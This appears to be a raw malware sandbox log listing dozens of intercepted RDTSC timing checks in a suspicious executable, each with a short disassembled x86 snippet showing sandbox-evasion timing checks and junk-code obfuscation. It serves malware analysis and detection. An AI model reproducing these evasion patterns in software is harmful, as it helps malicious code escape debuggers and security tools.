Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A604F second address: 14A605E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A6721 second address: 14A672B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A67AD second address: 14A67B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A67B2 second address: 14A67B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A6957 second address: 14A6961 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A6BC1 second address: 14A6BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A6C12 second address: 14A6C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A6CF1 second address: 14A6D47 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3B4EE5408h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FF3B4EE540Ah 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FF3B4EE5408h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 jl 00007FF3B4EE5406h 0x00000037 jmp 00007FF3B4EE540Eh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A7C02 second address: 14A7C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A7AFA second address: 14A7B07 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A7C09 second address: 14A7C5D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3B51FB93Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FF3B51FB938h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b mov si, bx 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF3B51FB947h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A7B07 second address: 14A7B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF3B4EE5406h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A97B3 second address: 14A97B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A9598 second address: 14A959C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AC77C second address: 14AC7A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB944h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FF3B51FB936h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AC7A0 second address: 14AC7B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AC7B2 second address: 14AC7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF3B51FB949h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AC7D4 second address: 14AC7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AD5BA second address: 14AD5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AF3C1 second address: 14AF3CF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14AF3CF second address: 14AF3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B02D0 second address: 14B02D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B02D7 second address: 14B0343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push edi 0x0000000b stc 0x0000000c pop ebx 0x0000000d jmp 00007FF3B51FB944h 0x00000012 push 00000000h 0x00000014 sbb di, A114h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FF3B51FB938h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 jmp 00007FF3B51FB940h 0x0000003a movzx ebx, di 0x0000003d xchg eax, esi 0x0000003e js 00007FF3B51FB944h 0x00000044 push eax 0x00000045 push edx 0x00000046 jo 00007FF3B51FB936h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B1258 second address: 14B1263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B04B7 second address: 14B04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B325C second address: 14B3262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B71D7 second address: 14B71DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B83E1 second address: 14B83E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B92D0 second address: 14B92D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14B83E5 second address: 14B83EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF3B4EE5406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14BB2E6 second address: 14BB382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FF3B51FB938h 0x0000000e pop edx 0x0000000f nop 0x00000010 jmp 00007FF3B51FB940h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c or bx, 97F7h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 pushad 0x00000029 js 00007FF3B51FB93Ch 0x0000002f mov edx, dword ptr [ebp+122D344Dh] 0x00000035 popad 0x00000036 mov eax, dword ptr [ebp+122D0D35h] 0x0000003c jmp 00007FF3B51FB942h 0x00000041 push FFFFFFFFh 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007FF3B51FB938h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 0000001Dh 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d jmp 00007FF3B51FB93Ah 0x00000062 push eax 0x00000063 js 00007FF3B51FB93Eh 0x00000069 push edi 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14BE37B second address: 14BE3D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b stc 0x0000000c push 00000000h 0x0000000e add dword ptr [ebp+12452466h], eax 0x00000014 mov ebx, dword ptr [ebp+122D1AC4h] 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d sub dword ptr [ebp+1245501Bh], ecx 0x00000023 jmp 00007FF3B4EE5416h 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push edi 0x0000002b pushad 0x0000002c jmp 00007FF3B4EE5418h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14BE3D2 second address: 14BE3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007FF3B51FB93Eh 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14BE3EB second address: 14BE3F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 145C8AF second address: 145C8B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14C5F5C second address: 14C5F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF3B4EE5420h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14C629D second address: 14C62A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14C62A1 second address: 14C62C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE5419h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14C62C0 second address: 14C62CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF3B51FB938h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14C644B second address: 14C6450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14CCFD0 second address: 14CCFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 jnp 00007FF3B51FB93Ch 0x0000000e jl 00007FF3B51FB93Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14CCFEC second address: 14CCFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14CCFFA second address: 14CCFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14CCFFE second address: 14CD033 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FF3B4EE5411h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14CD18C second address: 14CD191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D30BA second address: 14D30BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D30BE second address: 14D30C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 146A2FF second address: 146A309 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3B4EE5406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D239D second address: 14D23B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnp 00007FF3B51FB936h 0x0000000b pop edi 0x0000000c pushad 0x0000000d jnp 00007FF3B51FB936h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D23B2 second address: 14D23BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D295C second address: 14D2962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D2A8A second address: 14D2A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF3B4EE5406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D2A94 second address: 14D2ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FF3B51FB936h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FF3B51FB947h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14D2C77 second address: 14D2CA6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF3B4EE5414h 0x00000011 jmp 00007FF3B4EE540Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 146D863 second address: 146D87D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB943h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 146D87D second address: 146D88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DED4D second address: 14DED51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DEEEB second address: 14DEF1C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b je 00007FF3B4EE5406h 0x00000011 jmp 00007FF3B4EE5413h 0x00000016 pop edx 0x00000017 push esi 0x00000018 jng 00007FF3B4EE5406h 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DEF1C second address: 14DEF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DEF20 second address: 14DEF24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DF762 second address: 14DF769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DF769 second address: 14DF798 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF3B4EE5425h 0x00000008 ja 00007FF3B4EE540Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DF904 second address: 14DF94A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jo 00007FF3B51FB970h 0x00000018 jmp 00007FF3B51FB944h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF3B51FB946h 0x00000024 push edx 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DFA6E second address: 14DFA83 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF3B4EE5406h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007FF3B4EE5406h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DFA83 second address: 14DFA9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B51FB93Eh 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DFA9C second address: 14DFAB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14DFAB3 second address: 14DFAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1466CDA second address: 1466CE4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1466CE4 second address: 1466CF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1466CF5 second address: 1466D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF3B4EE5406h 0x0000000a ja 00007FF3B4EE5406h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jmp 00007FF3B4EE5418h 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E45BC second address: 14E45C8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3B51FB936h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E45C8 second address: 14E45D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E49E9 second address: 14E4A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF3B51FB93Eh 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FF3B51FB93Fh 0x00000012 jmp 00007FF3B51FB949h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4A28 second address: 14E4A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007FF3B4EE5406h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4A34 second address: 14E4A59 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF3B51FB936h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B51FB941h 0x00000013 jo 00007FF3B51FB936h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4A59 second address: 14E4A73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007FF3B4EE5430h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4BD4 second address: 14E4BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4BDA second address: 14E4BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4D40 second address: 14E4D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4D44 second address: 14E4D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF3B4EE5406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4EFC second address: 14E4F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E4F02 second address: 14E4F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
